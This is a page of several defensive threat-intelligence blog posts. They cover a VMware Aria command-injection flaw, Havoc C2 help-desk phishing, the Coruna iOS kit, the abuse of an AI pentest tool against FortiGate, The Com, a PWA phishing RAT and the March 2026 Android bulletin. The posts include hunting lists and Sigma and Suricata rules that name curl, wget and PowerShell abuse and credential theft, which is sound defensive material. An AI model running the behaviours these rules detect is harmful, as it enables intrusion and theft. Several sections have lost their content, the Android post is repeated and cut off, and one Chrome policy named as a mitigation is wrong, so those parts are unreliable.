CISA has added CVE-2026-22719 to its Known Exploited Vulnerabilities (KEV) catalog, confirming that a critical remote code execution flaw in VMware Aria Operations is being actively exploited in the wild. Federal agencies are now required to patch by March 18, 2026 under Binding Operational Directive 22-01.

The Vulnerability

CVE-2026-22719 is a command injection vulnerability (CWE-77) in VMware Aria Operations (formerly vRealize Operations) with a CVSS score of 8.1 (HIGH).

Key Details

VMware Aria Operations is a widely deployed infrastructure monitoring and management platform used across enterprise data centers and cloud environments. It provides performance monitoring, capacity planning, and workload optimization for VMware vSphere, Kubernetes, and multi-cloud deployments.

The command injection flaw allows an authenticated attacker with low-privilege access to execute arbitrary commands on the underlying operating system. Because Aria Operations typically runs with elevated privileges to manage infrastructure, successful exploitation grants the attacker effective root-level access to the monitoring platform — and potentially to the credentials and configurations it manages.

Why This Is Critical

While the CVSS score of 8.1 might seem moderate compared to 9.8-rated vulnerabilities, several factors make CVE-2026-22719 particularly dangerous in practice:

1. Credential Goldmine

Aria Operations stores credentials for connecting to monitored infrastructure:

• vCenter Server administrator credentials
• ESXi host root credentials
• Cloud provider access keys (AWS, Azure, GCP)
• Database and application monitoring credentials
• LDAP/Active Directory service accounts

Compromising Aria Operations gives attackers a single pivot point to the entire virtualization and cloud infrastructure.

2. Low Barrier to Entry

The vulnerability requires only authenticated access with low privileges. In many deployments, Aria Operations has:

• Read-only accounts shared across operations teams
• Service accounts with predictable or default credentials
• LDAP-integrated authentication where any domain user can log in

3. Network Position

Aria Operations servers typically sit in management networks with broad connectivity to:

• vCenter Servers and ESXi hosts
• Kubernetes clusters
• Cloud management planes
• Network devices and storage arrays

This network position makes post-exploitation lateral movement trivial.

4. Detection Blind Spot

Infrastructure monitoring platforms are rarely monitored themselves. Security teams focus on endpoints and servers but often exclude management tools from EDR coverage, creating a significant visibility gap.

Attack Scenario

Based on the vulnerability characteristics and typical deployment patterns, a realistic attack chain looks like:

Step 1: Gain authenticated access to Aria Operations
        (compromised domain creds, default password, phishing)

Step 2: Exploit CVE-2026-22719 for command injection
        → OS-level command execution as the Aria Operations service account

Step 3: Extract stored credentials from Aria Operations database
        → vCenter admin, ESXi root, cloud provider keys

Step 4: Pivot to vCenter Server using extracted credentials
        → Full control of virtualization infrastructure

Step 5: Deploy ransomware/backdoors across all managed VMs
        OR exfiltrate data from any managed workload
        OR destroy infrastructure by deleting VMs and datastores

The entire chain from initial exploitation to full infrastructure compromise can be executed in minutes, not hours.

Affected Versions

Broadcom's advisory covers multiple versions of Aria Operations. Organizations should check:

• VMware Aria Operations (all versions prior to the patched release)
• VMware Cloud Foundation deployments that include Aria Operations
• vRealize Operations (the pre-rename product, if still in use)

Consult the Broadcom advisory KB 430349 for the exact version matrix and patched releases.

Defensive Recommendations

Immediate Actions (Do Today)

1. Identify all Aria Operations instances in your environment — including those deployed by other teams or inherited from acquisitions
2. Apply the Broadcom security patch immediately. This is not a "schedule for next maintenance window" situation — it's being actively exploited
3. Restrict network access to the Aria Operations web interface. Only management workstations should reach it — not the entire corporate network
4. Rotate all credentials stored in Aria Operations after patching. Assume they may have been extracted if exploitation occurred before patching

Detection and Hunting

# Hunt for exploitation indicators:

# 1. Unusual process execution from Aria Operations service
Monitor for child processes spawned by the Aria Operations Java process
that don't match normal operational behavior:
- cmd.exe / bash / sh spawned by Java process
- curl / wget / certutil / PowerShell from the Aria Operations server
- Outbound connections to non-VMware IPs from the management server

# 2. Credential access patterns
Alert on credential extraction:
- Database queries against the Aria Operations credential store
- API calls to retrieve stored passwords
- Bulk credential export operations

# 3. Lateral movement from Aria Operations server
Monitor for authentication from the Aria Operations server IP to:
- vCenter Server (especially using admin credentials)
- ESXi hosts (especially SSH)
- Cloud provider API endpoints

Strategic Hardening

• Segment management networks — Aria Operations should be in a dedicated management VLAN with strict firewall rules
• Implement MFA for Aria Operations access — prevent compromised passwords from being sufficient
• Deploy EDR on management servers — don't exclude infrastructure tools from security monitoring
• Audit stored credentials regularly — minimize the number of credentials stored in monitoring platforms
• Enable audit logging — ensure all Aria Operations API calls and authentication events are forwarded to SIEM

The Broader VMware Threat Landscape

CVE-2026-22719 continues a pattern of VMware product vulnerabilities being actively exploited in the wild. Over the past year:

• CVE-2025-22224/22225/22226: VMware ESXi and vCenter vulnerabilities exploited as zero-days
• CVE-2024-37079/37080: vCenter Server heap overflow bugs actively exploited
• CVE-2023-34048: vCenter out-of-bounds write exploited by Chinese state actors

The trend is clear: VMware infrastructure is a high-priority target for both nation-state actors and ransomware groups. The combination of credential storage, network position, and infrastructure control makes VMware management tools an ideal pivot point.

Organizations running VMware environments should treat every VMware security advisory as urgent, not routine.

Need help auditing your VMware security posture? Apply to our Beta Tester Program at theinsider-x.com — limited slots available.

A new campaign tracked by Huntress researchers reveals how threat actors are impersonating corporate IT help desks to deliver Havoc, an open-source command-and-control (C2) framework, as a precursor to data theft and ransomware deployment. The attacks have been confirmed across at least five organizations.

The Attack Chain

The campaign follows a well-orchestrated multi-stage attack pattern that blends social engineering with sophisticated post-exploitation tooling.

Stage 1: The Lure — Fake IT Support

Employees receive emails appearing to come from their organization's IT support team. The messages reference common scenarios designed to create urgency:

• "Your email certificate is expiring — install the updated security agent"
• "Mandatory security patch required by end of day"
• "IT Help Desk: Your workstation flagged for compliance review"

The emails contain links to attacker-controlled infrastructure that mimics internal IT portals, complete with the target organization's logo and branding. Some variants use Microsoft Teams messages instead of email, leveraging external access configurations to deliver the lure directly through trusted collaboration tools.

Stage 2: Payload Delivery — Havoc Implant

Victims who click the link download what appears to be a legitimate IT support tool — typically disguised as:

• A remote monitoring agent installer (.msi)
• A security update package (.exe wrapped in a .zip)
• A VPN client update

The actual payload is a customized Havoc Demon agent — the implant component of the Havoc C2 framework. The threat actors have modified the default Havoc build to:

• Bypass EDR detection through custom shellcode loaders and sleep obfuscation
• Use encrypted C2 channels over HTTPS with domain fronting through legitimate CDN services
• Implement anti-sandbox checks that delay execution if virtual machine artifacts are detected

Stage 3: Persistence and Lateral Movement

Once the Havoc Demon is active, the operators move quickly:

1. Credential Harvesting — Dumping LSASS memory and extracting cached credentials
2. Active Directory Reconnaissance — Mapping domain trusts, admin groups, and high-value targets
3. Lateral Movement — Using stolen credentials with RDP, WMI, and PsExec to spread across the network
4. Persistence — Installing additional Havoc agents on multiple machines, creating scheduled tasks, and establishing backup C2 channels

Stage 4: Exfiltration and Ransomware

In the final stage, attackers:

• Stage sensitive data in compressed archives on compromised file servers
• Exfiltrate via the Havoc C2 channel using chunked uploads to avoid DLP triggers
• Deploy ransomware after confirming data exfiltration is complete

Huntress noted that the time from initial compromise to ransomware deployment averaged 72 hours — giving defenders a narrow but actionable window for detection.

Why Havoc?

Havoc is an open-source C2 framework that has gained significant traction among threat actors since its release. Its appeal lies in several factors:

Unlike Cobalt Strike — which has extensive detection signatures after years of abuse — Havoc's detection coverage in commercial security products remains inconsistent. Many EDR solutions that reliably catch Cobalt Strike beacons miss customized Havoc Demon agents.

Detection Opportunities

Network Indicators

# Havoc C2 default behaviors to monitor:
- HTTPS POST requests with consistent payload sizes at regular intervals (beaconing)
- TLS connections to newly registered domains (<30 days old)
- Domain fronting patterns: TLS SNI mismatches with HTTP Host headers
- Large outbound data transfers during off-hours (exfiltration stage)

Endpoint Detection

# YARA-style behavioral indicators:
- Process injection from unsigned executables into legitimate processes
- LSASS memory access from non-security tool processes
- Scheduled task creation with encoded PowerShell or unusual binary paths
- MSI installer execution from user Downloads/Temp directories
  followed by outbound HTTPS connections within 60 seconds

Email/Identity Indicators

• Emails referencing IT support actions from external domains or unfamiliar internal addresses
• Microsoft Teams messages from external organizations containing download links
• Links to domains that visually mimic internal IT portals but resolve to external infrastructure

Defensive Recommendations

Immediate Actions

• Alert employees about this specific campaign pattern — fake IT support emails requesting software installation
• Block known Havoc C2 IOCs at the firewall and proxy level (Huntress published a full IOC list)
• Hunt for Havoc artifacts in your environment: search for unsigned DLLs loaded by legitimate processes, suspicious scheduled tasks, and anomalous LSASS access
• Review Microsoft Teams external access settings — restrict or disable external message delivery

Strategic Defenses

• Implement application whitelisting — prevent execution of unauthorized installers, especially from Downloads and Temp directories
• Deploy credential guard on Windows endpoints to protect LSASS memory from dumping
• Enable conditional access policies requiring managed device compliance before accessing corporate resources
• Monitor for lateral movement patterns: sequential RDP/SMB connections, PsExec usage, WMI remote execution

Incident Response Playbook

If you suspect Havoc C2 activity:

1. Isolate affected endpoints immediately — network quarantine, not just disable
2. Preserve memory before reimaging — Havoc Demon runs in-memory and forensic evidence is volatile
3. Check for persistence across all domain-joined machines — the attacker likely moved laterally
4. Reset credentials for all accounts accessed from compromised systems, including service accounts
5. Monitor backup infrastructure — ransomware operators frequently target backup systems before detonation

The 72-Hour Window

The most actionable insight from Huntress's research is the 72-hour average dwell time before ransomware deployment. This creates a detection window that organizations can exploit:

• Hour 0-4: Initial compromise via fake IT support email. Havoc Demon phones home.
• Hour 4-24: Credential harvesting and AD reconnaissance. This is the noisiest phase — LSASS access and AD queries generate detectable events.
• Hour 24-48: Lateral movement. Sequential logins from a single source account across multiple machines should trigger alerts.
• Hour 48-72: Data staging and exfiltration. Large file copies to central locations followed by outbound transfers.

Organizations with 24/7 SOC coverage and proper detection rules for credential theft and lateral movement have a realistic chance of catching this campaign before the ransomware stage.

Need help building detection for C2 frameworks? Apply to our Beta Tester Program at theinsider-x.com — limited slots available.

A powerful iOS exploit kit codenamed Coruna has completed a disturbing journey — from the arsenals of commercial surveillance vendors, through state-linked espionage operations, and into the hands of financially motivated hackers targeting banking and cryptocurrency users worldwide.

Google's Threat Intelligence Group (TAG) published the findings this week, tracing the kit's lifecycle across multiple threat actor tiers and raising urgent questions about the uncontrolled proliferation of offensive mobile capabilities.

From Surveillance Vendor to Commodity Weapon

Coruna first appeared in 2025 as a proprietary capability within a commercial surveillance operation. Like the infamous NSO Group's Pegasus or Intellexa's Predator, Coruna was initially marketed to government clients for "lawful intercept" purposes.

The exploit kit targets iOS devices through a chain of vulnerabilities that achieves:

• Zero-click initial access — no user interaction required
• Persistent implant installation — survives app restarts
• Full device compromise — access to messages, calls, camera, microphone, keychain, and location data
• Anti-forensics capabilities — minimal traces on the device filesystem

What makes Coruna particularly dangerous is its modular architecture. The exploit chain separates the initial access component (the zero-click trigger) from the post-exploitation payload, allowing operators to swap payloads depending on their objective — surveillance, credential theft, or financial fraud.

The Migration Path

Google TAG documented three distinct phases of Coruna's proliferation:

Phase 1: Commercial Surveillance (Early 2025)

Coruna was deployed by a surveillance vendor (unnamed in the report) against journalists and political dissidents in Southeast Asia. The operations bore hallmarks of government-sponsored targeting with precise victim selection and operational security.

Phase 2: State-Linked Espionage (Mid 2025)

By mid-2025, the exploit kit appeared in campaigns attributed to state-linked actors targeting diplomatic missions and defense contractors. TAG assesses with moderate confidence that the kit was either sold, leaked, or independently reverse-engineered from captured samples.

The espionage deployments added new capabilities:

• Encrypted exfiltration channels using custom protocols
• Cloud account token harvesting (iCloud, Google Workspace)
• Contact graph mapping for network analysis

Phase 3: Financial Crime (Late 2025 — Present)

The most alarming development: Coruna components surfaced in financially motivated campaigns targeting:

• Mobile banking applications — intercepting OTP codes and session tokens
• Cryptocurrency wallets — extracting private keys and seed phrases from iOS keychain
• Payment apps — capturing transaction authorization credentials

The financial threat actors appear to have obtained a stripped-down version of the kit, lacking some of the advanced anti-forensics features but retaining the core exploitation chain. TAG identified attacks against victims in over 15 countries, with concentrations in Europe and the Asia-Pacific region.

Technical Indicators

While Google TAG withheld full exploit details pending Apple patches, they shared behavioral indicators for defenders:

Network Indicators

• Coruna's C2 infrastructure uses TLS certificate pinning with certificates mimicking legitimate Apple services
• Beacon intervals of 4-6 hours with jitter, designed to blend with normal iOS background activity
• Exfiltration uses chunked HTTPS POST requests to cloud storage endpoints

Device Indicators

• Unusual launchd daemon entries not matching Apple's known service list
• Abnormal SpringBoard crash logs during the exploitation phase
• Elevated power consumption from persistent background processes
• Unexpected network connections to IP ranges not associated with installed apps

Detection for MDM/EDR

# Monitor for suspicious iOS profile installations
Device Profile Check:
- Any configuration profile installed outside MDM enrollment
- Profiles with VPN or certificate payload from unknown issuers

# Anomalous keychain access
Watch for keychain access patterns:
- Bulk keychain item enumeration (>50 items in <10 seconds)
- Keychain access from processes not matching app bundle IDs
- Access to banking/crypto app keychain groups by non-matching processes

Why This Matters

The Coruna lifecycle illustrates a pattern the security community has long feared: the inevitable downward proliferation of surveillance-grade capabilities. What starts as a nation-state tool eventually becomes a commodity weapon.

This pattern has played out before:

The key difference with Coruna is the speed of proliferation — moving from government surveillance to commodity financial fraud in under 12 months. Previous exploit kits took years to make this transition.

Defensive Recommendations

For Individuals

• Update to the latest iOS version immediately — Apple has been notified and patches are expected
• Enable Lockdown Mode on iOS for high-risk individuals (journalists, executives, activists)
• Review installed profiles: Settings → General → VPN & Device Management — remove anything unrecognized
• Monitor battery usage for unexplained consumption spikes

For Organizations

• Deploy Mobile Threat Defense (MTD) solutions that detect zero-click exploits
• Enforce MDM policies requiring latest iOS versions with short compliance windows
• Monitor corporate app keychain access through MDM telemetry
• Segment mobile access — don't allow mobile devices unrestricted access to sensitive systems
• Implement phishing-resistant MFA (FIDO2/WebAuthn) that cannot be intercepted by device-level compromise

For Security Teams

• Hunt for Coruna IOCs in MDM and network logs (Google TAG published network indicators in their full report)
• Baseline normal iOS network behavior to detect anomalous C2 beaconing
• Test incident response procedures for mobile device compromise scenarios
• Review mobile banking app security — consider hardware-backed attestation for sensitive transactions

The Bigger Picture

Coruna arrives at a moment when mobile threats are escalating across the board. The same week, researchers disclosed the RedAlert spyware campaign targeting Israeli citizens through a trojanized rocket alert app, exploiting wartime panic to distribute surveillance implants.

The convergence of nation-state capabilities with financially motivated threat actors creates a force multiplier that most organizations are unprepared to handle. Traditional endpoint detection focused on Windows and macOS leaves a massive blind spot on the devices that increasingly serve as primary authentication factors and payment instruments.

The era of "phones are secure enough" is over.

Need help assessing your mobile threat exposure? Apply to our Beta Tester Program at theinsider-x.com — limited slots available.

The cybersecurity community was jolted this week when Team Cymru published research linking a massive campaign against Fortinet FortiGate firewalls to CyberStrikeAI — an open-source, AI-native security testing platform now being abused at scale by threat actors across 55 countries.

What Happened

In late January 2026, security researchers observed a coordinated wave of exploitation attempts targeting FortiGate firewalls. What initially appeared to be a standard vulnerability exploitation campaign turned out to be far more sophisticated: the attackers were leveraging CyberStrikeAI, an open-source AI-assisted security testing framework, to automate vulnerability scanning, exploit selection, and payload delivery.

Team Cymru's threat intelligence team identified the tool's distinct network fingerprint across attack infrastructure spanning 55 countries, making this one of the broadest AI-assisted attack campaigns documented to date.

How CyberStrikeAI Works in the Attack Chain

CyberStrikeAI is designed as a legitimate penetration testing tool that uses AI models to:

1. Automated Reconnaissance — Scans target networks and identifies running services, firmware versions, and exposed management interfaces
2. Vulnerability Matching — Uses AI to correlate discovered services against known CVE databases, prioritizing exploitable flaws
3. Exploit Selection & Adaptation — Automatically selects and modifies exploit payloads based on target configuration
4. Post-Exploitation Orchestration — Chains multiple techniques for persistence and lateral movement

In this campaign, the attackers pointed CyberStrikeAI at FortiGate appliances exposed to the internet. The platform's AI engine systematically tested known vulnerabilities including authentication bypass flaws and remote code execution bugs, adjusting its approach based on the target's firmware version and patch level.

Scale and Impact

The numbers are staggering:

• 55 countries with confirmed attack activity
• Thousands of FortiGate appliances targeted in automated scanning waves
• Multiple CVEs exploited, including recent authentication bypass vulnerabilities
• Administrative access achieved on unpatched devices, enabling configuration theft, VPN credential extraction, and backdoor deployment

The geographic spread — spanning North America, Europe, Asia-Pacific, and the Middle East — suggests an organized campaign rather than opportunistic scanning. Team Cymru noted that the attack infrastructure used rotating proxies and distributed scanning nodes to evade IP-based blocking.

The AI-Powered Attack Paradigm Shift

This incident marks a significant escalation in how AI tools are being weaponized. Unlike traditional automated scanning tools (like Nmap or Masscan), CyberStrikeAI introduces:

• Adaptive Decision-Making: The tool adjusts its attack strategy based on response analysis, mimicking how a skilled penetration tester would operate
• Evasion Intelligence: AI-driven payload modification helps bypass signature-based detection
• Speed at Scale: What would take a human pentester days to accomplish across a handful of targets is executed across thousands in hours

Security researcher Kevin Beaumont commented that this represents "the crossing of a line we've been warning about — offensive AI tools reaching commodity status."

Defensive Recommendations

Immediate Actions

• Patch FortiGate appliances to the latest firmware version immediately
• Audit management interfaces — disable internet-facing admin access (HTTPS, SSH) or restrict to trusted IPs
• Check for compromise indicators: Look for unauthorized admin accounts, modified firewall policies, and unexpected VPN tunnel configurations
• Review FortiGuard logs for scanning patterns characteristic of AI-driven reconnaissance (rapid sequential CVE probing)

Strategic Defenses

• Implement virtual patching via IPS/WAF rules while scheduling firmware updates
• Deploy network segmentation to limit blast radius if a perimeter device is compromised
• Monitor for anomalous admin behavior — AI-driven attacks often create admin sessions at unusual hours
• Threat hunt for FortiGate IOCs published by Team Cymru and Fortinet PSIRT

Detection Opportunities

Monitor for these behavioral indicators:

# Rapid CVE probing pattern (multiple exploit attempts within seconds)
alert http any any -> $FORTIGATE_MGMT any (msg:"Possible AI-driven FortiGate exploit scan"; flow:to_server; threshold:type both,track by_src,count 10,seconds 30; sid:2026030401;)

# Unauthorized admin session creation
FortiGate log: type=event subtype=system level=warning action=login user=admin status=success srcip=<unexpected_IP>

The Bigger Picture

This campaign sits at the intersection of two accelerating trends: the commoditization of AI-powered offensive tools and the persistent exposure of network perimeter devices. Cloudflare's latest threat report, also released this week, revealed the company blocks 230 billion threats daily — underscoring how automated the attack ecosystem has become.

The weaponization of CyberStrikeAI is a wake-up call: the barrier to entry for sophisticated, adaptive attacks has dropped dramatically. Organizations can no longer rely on patch cadence alone — they need continuous monitoring, behavioral detection, and the assumption that perimeter devices will be targeted with intelligence.

Need help assessing your exposure? Apply to our Beta Tester Program at theinsider-x.com — limited slots available.

What Is The Com?

"The Com" (short for "The Community") is not a single hacking group — it's a sprawling ecosystem of English-speaking cybercriminals, primarily aged 16-25, that spawns sub-groups operating semi-independently. The most notorious offshoots include:

• Scattered Spider (UNC3944) — social engineering specialists behind the MGM Resorts breach ($100M+ impact) and Caesars Entertainment extortion ($15M ransom paid)
• ShinyHunters — data breach operators linked to Pornhub, Ticketmaster, and AT&T breaches
• Star Fraud / 0ktapus — SMS phishing campaigns targeting Okta, Twilio, and 130+ organizations

What makes The Com unique among cybercriminal ecosystems is the convergence of cybercrime with real-world violence. Members don't just hack — they engage in SIM swapping, swatting (fake emergency calls), sextortion of minors, and coercion of teenagers into self-harm. Europol explicitly noted links to violent extremist groups and Russian cybercriminal gangs.

Project Compass: The Operation

Launched in January 2025 and coordinated by Europol's European Counter Terrorism Centre (not the cybercrime unit — a deliberate signal about The Com's violence nexus), Project Compass brought together:

• 28 countries — EU member states, Five Eyes (US, UK, Canada, Australia, NZ), Norway, Switzerland
• Key agencies — FBI, Homeland Security Investigations, UK Counter Terrorism Policing, National Crime Agency

Results After Year One

Attack Techniques (MITRE ATT&CK Mapped)

The Com's sub-groups share a common playbook that security teams should understand:

1. Social Engineering & Vishing (T1566)

Scattered Spider's signature move: calling IT helpdesks while impersonating employees to reset MFA. The MGM breach started with a single phone call to an outsourced helpdesk.

2. SIM Swapping (T1111)

Porting victim phone numbers to attacker-controlled SIMs to intercept SMS-based MFA codes. This technique was used to bypass 2FA on cryptocurrency exchanges, corporate accounts, and personal banking.

3. SMS Phishing Kits (T1598.003)

The 0ktapus campaign sent phishing SMS to employees at 130+ companies, harvesting Okta credentials and MFA tokens in real-time using custom phishing kits that proxied to legitimate login pages.

4. Identity Provider Compromise (T1556)

Once inside via social engineering, Scattered Spider targeted identity providers (Okta, Azure AD) to create persistent access across the entire organization — not just one system.

5. Ransomware Deployment (T1486)

The Com's groups partnered with ALPHV/BlackCat ransomware-as-a-service for the MGM and M&S attacks, deploying encryption after lateral movement through identity infrastructure.

Detection Guidance

Sigma Rule: Helpdesk Social Engineering Indicators

title: Suspicious MFA Reset Following Helpdesk Call
id: 9d4e5f6a-1b2c-3d4e-5f6a-7b8c9d0e1f2a
status: experimental
description: Detects MFA reset events that may indicate social engineering of helpdesk
logsource:
  product: azure
  service: auditlogs
detection:
  selection_reset:
    Operation: 'Reset password'
    ResultType: 0
  selection_mfa:
    Operation:
      - 'User registered security info'
      - 'Admin registered security info'
  timeframe: 15m
  condition: selection_reset | near selection_mfa
level: high
tags:
  - attack.credential_access
  - attack.t1566
  - attack.t1556

What to Monitor

• Identity Provider logs — MFA resets, new device registrations, unusual login locations following helpdesk interactions
• Helpdesk ticket correlation — cross-reference password reset tickets with subsequent suspicious authentication events
• SIM swap indicators — sudden loss of SMS-based MFA delivery, carrier-level number porting alerts
• Lateral movement from IdP — single identity accessing abnormal number of systems post-authentication

Why This Matters for Defenders

The Com represents a new model of cybercrime that traditional threat intelligence struggles with:

1. Age — members are 16-25, many minors, making prosecution complex across jurisdictions
2. Decentralization — no central leadership, sub-groups form and dissolve organically
3. Violence convergence — cyber tactics combined with real-world threats (swatting, extortion, coercion of minors)
4. Affiliate model — young hackers providing initial access to sophisticated ransomware operations (ALPHV/BlackCat)

30 arrests out of 179 identified means 149 known suspects are still active. Project Compass is ongoing, but The Com's decentralized structure means new sub-groups will continue to emerge.

The defensive takeaway: if your organization relies on helpdesk-based password resets or SMS-based MFA, you are running the exact playbook Scattered Spider exploits. Move to phishing-resistant MFA (FIDO2/passkeys) and implement helpdesk verification protocols that can't be socially engineered.

Sources: Dark Reading, Help Net Security, Security Affairs

Need help assessing your exposure? Request a Beta Tester Program — currently in open beta.

What Happened

Reported by Malwarebytes researcher Stefan Dasic in February 2026, the campaign operates from the domain google-prism[.]com, which presents victims with a convincing Google Account security page. Instead of simply harvesting credentials, the page prompts users to "install" a security app — actually a PWA that gains persistent access to the browser with extensive permissions.

What makes PWA phishing particularly dangerous: once installed, the browser address bar disappears. The victim sees what appears to be a native Google application with no visible URL to verify legitimacy.

Technical Breakdown

The Attack Chain

1. Initial lure — victim receives link to google-prism[.]com (via email, SMS, or ad redirect)
2. Fake security check — page mimics Google's account security UI, warns of "suspicious activity"
3. PWA installation prompt — user is asked to install a "Google Security" app for "enhanced protection"
4. Permission harvesting — PWA requests contacts, location, notifications, and clipboard access
5. Persistent C2 — installed PWA beacons to /api/heartbeat every 30 seconds for new commands

Capabilities (Browser RAT)

Once installed, the PWA operates as a multi-function RAT with capabilities mapped to MITRE ATT&CK:

The WebOTP API Abuse

This is the most technically interesting part. The WebOTP API was designed to let legitimate websites auto-read SMS OTP codes. The phishing PWA abuses this by:

1. Requesting the otp-credentials permission during "security setup"
2. Listening for incoming SMS containing OTP patterns
3. Exfiltrating intercepted codes to the C2 server before they expire
4. Simultaneously submitting them to the real Google login page (real-time MFA relay)

This effectively turns SMS-based 2FA into a single factor — the attacker has both the password (from the fake form) and the OTP (from WebOTP interception) simultaneously.

Android APK Escalation

On Android devices, the campaign goes further by offering an APK download disguised as a "Google Security" app. The APK includes:

• Keylogging keyboard — replaces the default input method
• Notification monitoring — reads all push notifications (including auth app codes)
• Accessibility service abuse — screen monitoring and interaction capture
• Device admin persistence — prevents easy uninstallation

Detection & Hunting

Sigma Rule for PWA Installation Monitoring

title: Suspicious PWA Installation from Non-Trusted Domain
id: 8c3f1e2d-4a5b-6c7d-9e0f-1a2b3c4d5e6f
status: experimental
description: Detects PWA installations from domains mimicking Google services
logsource:
  product: chrome
  category: browser_event
detection:
  selection_domain:
    url|contains:
      - 'google-prism'
      - 'google-security'
      - 'google-protect'
      - 'account-verify'
  selection_action:
    action: 'pwa_install'
  condition: selection_domain or (selection_action and not url|contains 'google.com')
level: high
tags:
  - attack.credential_access
  - attack.t1111
  - attack.t1056

IOCs

# Domain
google-prism[.]com

# Behavioral indicators
- PWA manifest requesting: geolocation, notifications, clipboard-read, contacts
- Heartbeat beacon: GET /api/heartbeat (30-second interval)
- WebOTP API permission request from non-Google origin

Enterprise Detection

• Chrome Enterprise: Block PWA installations from non-allowlisted domains via WebAppInstallForceList policy
• MDM/EDR: Alert on APK sideloading with accessibility service + device admin permissions
• Network: Monitor for 30-second beacon intervals to newly registered domains
• Email gateway: Block links to domains registered < 30 days with Google brand terms

Mitigation Steps

1. Block google-prism[.]com and related domains at DNS/proxy level
2. Disable WebOTP API in enterprise Chrome via AutoSelectCertificateForUrls policy where SMS OTP isn't needed
3. Switch from SMS 2FA to FIDO2/passkeys — hardware keys are immune to WebOTP interception
4. Restrict PWA installations — Chrome Enterprise policy DefaultWebAppInstallSetting = block
5. User awareness — Google never asks to install apps via web pop-ups; all security features live at myaccount.google.com

Why This Matters

PWA-based phishing represents an evolution beyond traditional credential harvesting. By combining real-time MFA interception, persistent browser access, and RAT capabilities in a single package, attackers no longer need to deliver malware binaries — the browser itself becomes the implant. As browsers gain more native APIs (WebOTP, Contacts, Geolocation), the attack surface for PWA-based threats will only grow.

Defenders: treat PWA installation events with the same suspicion as executable downloads.

Sources: Malwarebytes, BleepingComputer

Need help assessing your exposure? Request a Beta Tester Program — currently in open beta.

What Happened

The March 2026 Android Security Bulletin addresses 129 CVEs across two patch levels (2026-03-01 and 2026-03-05). The headline finding is CVE-2026-21385, a memory-corruption vulnerability in Qualcomm's open-source display driver component that Google confirms is "under limited, targeted exploitation" in the wild.

The timeline tells its own story about coordinated disclosure:

• Dec 18, 2025 — Google reports flaw to Qualcomm
• Feb 2, 2026 — Qualcomm notifies OEM customers
• Mar 2, 2026 — Public disclosure and patches released

Technical Breakdown

CVE-2026-21385 — The Actively Exploited Zero-Day

This memory-corruption bug lives in Qualcomm's open-source display driver and affects a staggering 234 Qualcomm chipsets. That's not a typo — 234 different SoCs from budget to flagship-tier are vulnerable. The open-source nature of the component means the vulnerable code is publicly auditable, which likely accelerated both discovery and weaponization.

Memory corruption in a display driver is particularly dangerous because:

• Display drivers operate at kernel privilege level
• They process untrusted input (rendered content) at high frequency
• Exploitation can lead to arbitrary code execution with kernel privileges (T1068)

Patch Level Breakdown

2026-03-01 (63 vulnerabilities): | Component | Count | Notes | |-----------|-------|-------| | Framework | 32 | Largest category — nearly half carry 2025 CVE IDs | | System | 19 | Core OS components | | Google Play | 12 | Play Services and Store |

2026-03-05 (66 vulnerabilities): | Component | Count | Notes | |-----------|-------|-------| | Kernel | 15 | Linux kernel subsystems | | Qualcomm open-source | 7 | Includes CVE-2026-21385 (zero-day) | | Qualcomm closed-source | 8 | Binary-only vendor blobs | | Imagination Technologies | 7 | GPU driver flaws | | Unisoc | 7 | Budget chipset components | | Arm | 1 | Mali GPU |

The fact that nearly half the Framework vulnerabilities carry 2025 CVE identifiers suggests these are backlogged fixes that were finally ready for release — a pattern that raises questions about patch pipeline efficiency.

Detection & Hunting

For MDM and endpoint security teams, here's what to look for:

title: Android Device Below March 2026 Patch Level
id: 3b8f2d1a-7c4e-4f9a-b2d1-5e6f7a8b9c0d
status: experimental
description: Detects Android devices that haven't applied the March 2026 security patch
logsource:
  product: android
  category: device_compliance
detection:
  selection:
    device.os: android
    device.patch_level|lt: '2026-03-01'
  condition: selection
level: high
tags:
  - attack.privilege_escalation
  - attack.t1068
  - cve.2026.21385

Enterprise MDM queries:

• Intune/Endpoint Manager: Filter devices where SecurityPatchLevel < 2026-03-05
• Google Workspace: Admin Console → Devices → filter by security patch level
• Qualcomm chipset exposure: Cross-reference device inventory against Qualcomm's 234 affected chipset list

Mitigation Steps

1. Patch immediately — apply 2026-03-05 patch level (covers both batches including the zero-day)
2. Prioritize Qualcomm devices — the actively exploited CVE-2026-21385 affects 234 chipsets; if your fleet includes Snapdragon-based devices, they're in scope
3. Enforce MDM compliance — block corporate resource access for devices below the March 2026 patch level
4. Monitor for exploitation — watch for unusual display driver crashes or kernel panics on Android endpoints, which could indicate exploitation attempts
5. Check OEM patch availability — Samsung, Pixel, and OnePlus typically ship fastest; other OEMs may lag by weeks

The Bigger Picture

129 patches in one month — the highest since 2018 — signals either a growing attack surface in Android or improved vulnerability discovery (likely both). The Qualcomm zero-day affecting 234 chipsets demonstrates why the Android ecosystem's fragmented patch delivery remains its Achilles' heel: Google can release patches, but OEMs control when devices actually receive them.

For defenders: treat Android patch management with the same urgency as Windows Patch Tuesday. The days of "phones are less targeted" are long gone.

Source: CyberScoop

Need help assessing your exposure? Request a Beta Tester Program — currently in open beta.

What Happened

The March 2026 Android Security Bulletin addresses 129 CVEs across two patch levels (2026-03-01 and 2026-03-05). The headline finding is CVE-2026-21385, a memory-corruption vulnerability in Qualcomm's open-source display driver component that Google confirms is "under limited, targeted exploitation" in the wild.

The timeline tells its own story about coordinated disclosure:

• Dec 18, 2025 — Google reports flaw to Qualcomm
• Feb 2, 2026 — Qualcomm notifies OEM customers
• Mar 2, 2026 — Public disclosure and patches released

Technical Breakdown

CVE-2026-21385 — The Actively Exploited Zero-Day

This memory-corruption bug lives in Qualcomm's open-source display driver and affects a staggering 234 Qualcomm chipsets. That's not a typo — 234 different SoCs from budget to flagship-tier are vulnerable. The open-source nature of the component means the vulnerable code is publicly auditable, which likely accelerated both discovery and weaponization.

Memory corruption in a display driver is particularly dangerous because:

• Display drivers operate at kernel privilege level
• They process untrusted input (rendered content) at high frequency
• Exploitation can lead to arbitrary code execution with kernel privileges (T1068)

Patch Level Breakdown

2026-03-01 (63 vulnerabilities): | Component | Count | Notes | |-----------|-------|-------| | Framework | 32 | Largest category — nearly half carry 2025 CVE IDs | | System | 19 | Core OS components | | Google Play | 12 | Play Services and Store |

2026-03-05 (66 vulnerabilities): | Component | Count | Notes | |-----------|-------|-------| | Kernel | 15 | Linux kernel subsystems | | Qualcomm open-source | 7 | Includes CVE-2026-21385 (zero-day) | | Qualcomm closed-source | 8 | Binary-only vendor blobs | | Imagination Technologies | 7 | GPU driver flaws | | Unisoc | 7 | Budget chipset components | | Arm | 1 | Mali GPU |

